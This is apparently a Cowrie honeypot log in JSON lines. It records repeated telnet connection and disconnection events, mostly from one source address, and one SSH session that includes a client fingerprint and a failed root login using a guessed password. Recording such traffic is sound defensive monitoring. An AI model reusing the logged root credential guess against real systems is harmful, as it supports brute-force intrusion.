{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":47856,"dst_ip":"159.203.135.109","dst_port":23,"session":"5642e1a73418","protocol":"telnet","message":"New connection: 51.161.172.108:47856 (159.203.135.109:23) [session: 5642e1a73418]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:39:19.391036Z"}
{"eventid":"cowrie.session.closed","duration":31.203834772109985,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:39:19.398663Z","src_ip":"51.161.172.108","session":"cc86d34ce4a6","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"167.99.38.72","src_port":38280,"dst_ip":"159.203.135.109","dst_port":23,"session":"e3d2bacfa3a3","protocol":"telnet","message":"New connection: 167.99.38.72:38280 (159.203.135.109:23) [session: e3d2bacfa3a3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:39:19.524983Z"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":60152,"dst_ip":"159.203.135.109","dst_port":23,"session":"fb36db9b95b4","protocol":"telnet","message":"New connection: 51.161.172.108:60152 (159.203.135.109:23) [session: fb36db9b95b4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:39:19.631626Z"}
{"eventid":"cowrie.session.closed","duration":31.94867444038391,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:39:19.871112Z","src_ip":"51.161.172.108","session":"252dd3538133","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"221.139.88.149","src_port":39028,"dst_ip":"10.17.0.5","dst_port":22,"session":"7ac30d2e573e","protocol":"ssh","message":"New connection: 221.139.88.149:39028 (10.17.0.5:22) [session: 7ac30d2e573e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:39:20.216738Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:39:20.221623Z","src_ip":"221.139.88.149","session":"7ac30d2e573e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":47872,"dst_ip":"159.203.135.109","dst_port":23,"session":"0c810fffc0fd","protocol":"telnet","message":"New connection: 51.161.172.108:47872 (159.203.135.109:23) [session: 0c810fffc0fd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:39:20.283003Z"}
{"eventid":"cowrie.session.closed","duration":31.435527324676514,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:39:20.292570Z","src_ip":"51.161.172.108","session":"97c4ccbaf3d5","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.473570823669434,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:39:20.319256Z","src_ip":"51.161.172.108","session":"5e65fd527056","protocol":"telnet"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:39:20.402659Z","src_ip":"221.139.88.149","session":"7ac30d2e573e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":47886,"dst_ip":"159.203.135.109","dst_port":23,"session":"ba4df0f8b75a","protocol":"telnet","message":"New connection: 51.161.172.108:47886 (159.203.135.109:23) [session: ba4df0f8b75a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:39:20.441092Z"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":47888,"dst_ip":"159.203.135.109","dst_port":23,"session":"c9faee7f4af7","protocol":"telnet","message":"New connection: 51.161.172.108:47888 (159.203.135.109:23) [session: c9faee7f4af7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:39:20.589677Z"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":47916,"dst_ip":"159.203.135.109","dst_port":23,"session":"fffa5f59d8c3","protocol":"telnet","message":"New connection: 51.161.172.108:47916 (159.203.135.109:23) [session: fffa5f59d8c3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:39:20.881244Z"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":47900,"dst_ip":"159.203.135.109","dst_port":23,"session":"e0d362b0845a","protocol":"telnet","message":"New connection: 51.161.172.108:47900 (159.203.135.109:23) [session: e0d362b0845a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:39:20.969892Z"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":47860,"dst_ip":"159.203.135.109","dst_port":23,"session":"0a684cdced33","protocol":"telnet","message":"New connection: 51.161.172.108:47860 (159.203.135.109:23) [session: 0a684cdced33]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:39:20.974024Z"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":47932,"dst_ip":"159.203.135.109","dst_port":23,"session":"c0c98473b194","protocol":"telnet","message":"New connection: 51.161.172.108:47932 (159.203.135.109:23) [session: c0c98473b194]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:39:21.026892Z"}
{"eventid":"cowrie.session.closed","duration":31.609135627746582,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:39:21.115319Z","src_ip":"51.161.172.108","session":"a1e46deb60e9","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.799967527389526,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:39:21.223100Z","src_ip":"51.161.172.108","session":"1826446e236a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":47936,"dst_ip":"159.203.135.109","dst_port":23,"session":"15e72bdf01c3","protocol":"telnet","message":"New connection: 51.161.172.108:47936 (159.203.135.109:23) [session: 15e72bdf01c3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:39:21.283859Z"}
{"eventid":"cowrie.login.failed","username":"root","password":"!QAZ2wsx2025","message":"login attempt [root/!QAZ2wsx2025] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:39:21.328893Z","src_ip":"221.139.88.149","session":"7ac30d2e573e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":47940,"dst_ip":"159.203.135.109","dst_port":23,"session":"6c64322adb6b","protocol":"telnet","message":"New connection: 51.161.172.108:47940 (159.203.135.109:23) [session: 6c64322adb6b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:39:21.450601Z"}
{"eventid":"cowrie.session.closed","duration":30.76917791366577,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:39:21.475402Z","src_ip":"51.161.172.108","session":"eaf56dd465b6","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.043314218521118,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:39:21.604129Z","src_ip":"51.161.172.108","session":"07c8636294d6","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.816354513168335,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:39:21.680045Z","src_ip":"51.161.172.108","session":"db2946c7a607","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":47942,"dst_ip":"159.203.135.109","dst_port":23,"session":"16e3735a85cd","protocol":"telnet","message":"New connection: 51.161.172.108:47942 (159.203.135.109:23) [session: 16e3735a85cd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:39:21.790629Z"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":47958,"dst_ip":"159.203.135.109","dst_port":23,"session":"5ada9d90df42","protocol":"telnet","message":"New connection: 51.161.172.108:47958 (159.203.135.109:23) [session: 5ada9d90df42]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:39:21.891118Z"}
{"eventid":"cowrie.session.closed","duration":31.761455059051514,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:39:21.901811Z","src_ip":"51.161.172.108","session":"49d315cf2bec","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":47974,"dst_ip":"159.203.135.109","dst_port":23,"session":"59ae85d71ef5","protocol":"telnet","message":"New connection: 51.161.172.108:47974 (159.203.135.109:23) [session: 59ae85d71ef5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:39:22.120944Z"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":47990,"dst_ip":"159.203.135.109","dst_port":23,"session":"a77bee0fa29d","protocol":"telnet","message":"New connection: 51.161.172.108:47990 (159.203.135.109:23) [session: a77bee0fa29d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:39:22.126528Z"}
{"eventid":"cowrie.session.closed","duration":31.348105907440186,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:39:22.187201Z","src_ip":"51.161.172.108","session":"86c97fe60738","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.944183588027954,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:39:22.193174Z","src_ip":"51.161.172.108","session":"fb40863e2863","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.456055641174316,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:39:22.276044Z","src_ip":"51.161.172.108","session":"5f2a0dcffed6","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:39:22.528395Z","src_ip":"221.139.88.149","session":"7ac30d2e573e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.309529066085815,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:39:22.548373Z","src_ip":"51.161.172.108","session":"dbcd5414b75f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":47994,"dst_ip":"159.203.135.109","dst_port":23,"session":"8934f8faf9bf","protocol":"telnet","message":"New connection: 51.161.172.108:47994 (159.203.135.109:23) [session: 8934f8faf9bf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:39:22.690114Z"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":47998,"dst_ip":"159.203.135.109","dst_port":23,"session":"83f78256f6aa","protocol":"telnet","message":"New connection: 51.161.172.108:47998 (159.203.135.109:23) [session: 83f78256f6aa]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:39:22.700729Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.10.154.244","src_port":58040,"dst_ip":"10.17.0.5","dst_port":23,"session":"9a223bb85ecb","protocol":"telnet","message":"New connection: 45.10.154.244:58040 (10.17.0.5:23) [session: 9a223bb85ecb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:39:22.716578Z"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":47944,"dst_ip":"159.203.135.109","dst_port":23,"session":"ee08641c06e5","protocol":"telnet","message":"New connection: 51.161.172.108:47944 (159.203.135.109:23) [session: ee08641c06e5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:39:22.729316Z"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":48024,"dst_ip":"159.203.135.109","dst_port":23,"session":"36e6604568c5","protocol":"telnet","message":"New connection: 51.161.172.108:48024 (159.203.135.109:23) [session: 36e6604568c5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:39:23.023142Z"}
{"eventid":"cowrie.session.closed","duration":31.425869941711426,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:39:23.035803Z","src_ip":"51.161.172.108","session":"4e5cb6744442","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":48010,"dst_ip":"159.203.135.109","dst_port":23,"session":"332dac803990","protocol":"telnet","message":"New connection: 51.161.172.108:48010 (159.203.135.109:23) [session: 332dac803990]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:39:23.083756Z"}
{"eventid":"cowrie.session.closed","duration":31.991023063659668,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:39:23.154381Z","src_ip":"51.161.172.108","session":"e843ce564d30","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":47984,"dst_ip":"159.203.135.109","dst_port":23,"session":"85bcadc9fce8","protocol":"telnet","message":"New connection: 51.161.172.108:47984 (159.203.135.109:23) [session: 85bcadc9fce8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:39:23.245544Z"}
{"eventid":"cowrie.session.closed","duration":31.482571363449097,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:39:23.468331Z","src_ip":"51.161.172.108","session":"32713e93975f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":33.20136642456055,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:39:23.666891Z","src_ip":"167.99.38.72","session":"a1ebacc34dfd","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":48036,"dst_ip":"159.203.135.109","dst_port":23,"session":"15686eceb7b3","protocol":"telnet","message":"New connection: 51.161.172.108:48036 (159.203.135.109:23) [session: 15686eceb7b3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:39:23.689220Z"}
{"eventid":"cowrie.session.closed","duration":31.032845735549927,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:39:23.694516Z","src_ip":"51.161.172.108","session":"8b6f8eecf865","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":34.52832055091858,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:39:23.783382Z","src_ip":"167.99.38.72","session":"8419ff2011cf","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":48046,"dst_ip":"159.203.135.109","dst_port":23,"session":"bc419b25fdba","protocol":"telnet","message":"New connection: 51.161.172.108:48046 (159.203.135.109:23) [session: bc419b25fdba]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:39:23.804538Z"}
{"eventid":"cowrie.session.closed","duration":32.89068913459778,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:39:23.868492Z","src_ip":"51.161.172.108","session":"656ad29b5974","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":48062,"dst_ip":"159.203.135.109","dst_port":23,"session":"30a7aa747f39","protocol":"telnet","message":"New connection: 51.161.172.108:48062 (159.203.135.109:23) [session: 30a7aa747f39]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:39:23.893387Z"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":48066,"dst_ip":"159.203.135.109","dst_port":23,"session":"592184f243d0","protocol":"telnet","message":"New connection: 51.161.172.108:48066 (159.203.135.109:23) [session: 592184f243d0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:39:23.902453Z"}
{"eventid":"cowrie.session.closed","duration":31.209009170532227,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:39:24.219883Z","src_ip":"51.161.172.108","session":"2ab6dfde60cb","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.10.154.244","src_port":35812,"dst_ip":"10.17.0.5","dst_port":23,"session":"6b2ae109e88d","protocol":"telnet","message":"New connection: 45.10.154.244:35812 (10.17.0.5:23) [session: 6b2ae109e88d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:39:24.249590Z"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":48098,"dst_ip":"159.203.135.109","dst_port":23,"session":"e75e3727519d","protocol":"telnet","message":"New connection: 51.161.172.108:48098 (159.203.135.109:23) [session: e75e3727519d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:39:24.367176Z"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":48102,"dst_ip":"159.203.135.109","dst_port":23,"session":"ec7f06ea7630","protocol":"telnet","message":"New connection: 51.161.172.108:48102 (159.203.135.109:23) [session: ec7f06ea7630]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:39:24.626556Z"}
{"eventid":"cowrie.session.closed","duration":31.823830127716064,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:39:24.738933Z","src_ip":"51.161.172.108","session":"a1070409e78b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.10.154.244","src_port":37630,"dst_ip":"10.17.0.5","dst_port":23,"session":"004c2dcf4e0f","protocol":"telnet","message":"New connection: 45.10.154.244:37630 (10.17.0.5:23) [session: 004c2dcf4e0f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:39:24.753876Z"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":48110,"dst_ip":"159.203.135.109","dst_port":23,"session":"f1ef4b5559d1","protocol":"telnet","message":"New connection: 51.161.172.108:48110 (159.203.135.109:23) [session: f1ef4b5559d1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:39:24.778147Z"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":48122,"dst_ip":"159.203.135.109","dst_port":23,"session":"4a2e04da69a2","protocol":"telnet","message":"New connection: 51.161.172.108:48122 (159.203.135.109:23) [session: 4a2e04da69a2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:39:24.803964Z"}
{"eventid":"cowrie.session.closed","duration":31.905510425567627,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:39:24.853646Z","src_ip":"51.161.172.108","session":"41c453810ea6","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.700662851333618,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:39:25.308614Z","src_ip":"51.161.172.108","session":"5c90f57d51eb","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":48084,"dst_ip":"159.203.135.109","dst_port":23,"session":"579ff0690dc3","protocol":"telnet","message":"New connection: 51.161.172.108:48084 (159.203.135.109:23) [session: 579ff0690dc3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:39:25.329827Z"}
{"eventid":"cowrie.session.closed","duration":30.81215190887451,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:39:25.384255Z","src_ip":"51.161.172.108","session":"3a6881ecdac5","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.33052349090576,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:39:25.647999Z","src_ip":"51.161.172.108","session":"66f722eb8480","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":48190,"dst_ip":"159.203.135.109","dst_port":23,"session":"4537ce413913","protocol":"telnet","message":"New connection: 51.161.172.108:48190 (159.203.135.109:23) [session: 4537ce413913]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:39:25.914583Z"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":48194,"dst_ip":"159.203.135.109","dst_port":23,"session":"bfe329205942","protocol":"telnet","message":"New connection: 51.161.172.108:48194 (159.203.135.109:23) [session: bfe329205942]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:39:26.057543Z"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":48208,"dst_ip":"159.203.135.109","dst_port":23,"session":"5e443e86935e","protocol":"telnet","message":"New connection: 51.161.172.108:48208 (159.203.135.109:23) [session: 5e443e86935e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:39:26.076939Z"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":48148,"dst_ip":"159.203.135.109","dst_port":23,"session":"31728ec0d45a","protocol":"telnet","message":"New connection: 51.161.172.108:48148 (159.203.135.109:23) [session: 31728ec0d45a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:39:26.124248Z"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":48204,"dst_ip":"159.203.135.109","dst_port":23,"session":"cbc2a4796fb5","protocol":"telnet","message":"New connection: 51.161.172.108:48204 (159.203.135.109:23) [session: cbc2a4796fb5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:39:26.128050Z"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":48220,"dst_ip":"159.203.135.109","dst_port":23,"session":"8e1de1105a0f","protocol":"telnet","message":"New connection: 51.161.172.108:48220 (159.203.135.109:23) [session: 8e1de1105a0f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:39:26.185417Z"}
{"eventid":"cowrie.session.closed","duration":30.962158679962158,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:39:26.282892Z","src_ip":"51.161.172.108","session":"eedca45ec249","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":48222,"dst_ip":"159.203.135.109","dst_port":23,"session":"d83e9ab1682e","protocol":"telnet","message":"New connection: 51.161.172.108:48222 (159.203.135.109:23) [session: d83e9ab1682e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:39:26.360811Z"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":48226,"dst_ip":"159.203.135.109","dst_port":23,"session":"ea9983c633cb","protocol":"telnet","message":"New connection: 51.161.172.108:48226 (159.203.135.109:23) [session: ea9983c633cb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:39:26.518805Z"}
